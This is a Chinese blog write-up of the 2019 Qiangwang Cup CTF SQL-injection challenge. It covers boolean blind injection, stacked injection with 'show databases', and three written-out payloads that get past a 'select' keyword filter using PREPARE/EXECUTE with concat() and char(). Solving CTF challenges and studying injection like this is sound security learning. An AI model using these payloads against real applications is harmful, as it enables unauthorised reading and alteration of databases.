[强网杯 2019]随便注

本文探讨了如何利用SQLmap进行堆叠注入和预处理语句技巧,包括字符转义、payload构造,如使用';show databases;'获取数据库列表,以及通过concat和char函数绕过过滤。重点介绍了利用变量和预定义SQL语句来执行复杂查询的方法。
摘要由CSDN通过智能技术生成

看到了sqlmap没有灵魂盲猜是sql注入

布尔盲注(不太会

length(database()) 判断数据库名长度

得到了长度为9

ascii(substr(database(),1,1)) = 115 --+

得到第一位 s

第二位 u

第三位 p

第四位 e

第五位 r

第六位 s

第七位 q

第八位 l

第九位 I

Supersqli

方法错误!!!

堆叠注入

Payload : ';show databases;#

显示所有数据库

不能使用select

word表

查看表的结构

数字用反引号选中 发现flag 可知flag在1919810931114514表中

方法2 学习大佬的思路

预处理语句+堆叠注入

1

2

3

PREPARE name from '[my sql sequece]';   //预定义SQL语句

EXECUTE name;  //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

预定义语句也可以通过变量进行传递:

1

2

3

4

5

SET @tn = 'hahaha';  //存储表名

SET @sql = concat('select * from ', @tn);  //存储SQL语句

PREPARE name from @sql;   //预定义SQL语句

EXECUTE name;  //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->'select'

payload1:不使用变量

1';PREPARE hacker from concat(char(115,101,108,101,99,116), '* from`1919810931114514` ');EXECUTE hacker;#

payload2:使用变量

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from`1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

payload3:只是用contact(),不使用char()

1

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

来自 <[强网杯 2019]随便注 1 - ZM思 - 博客园>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值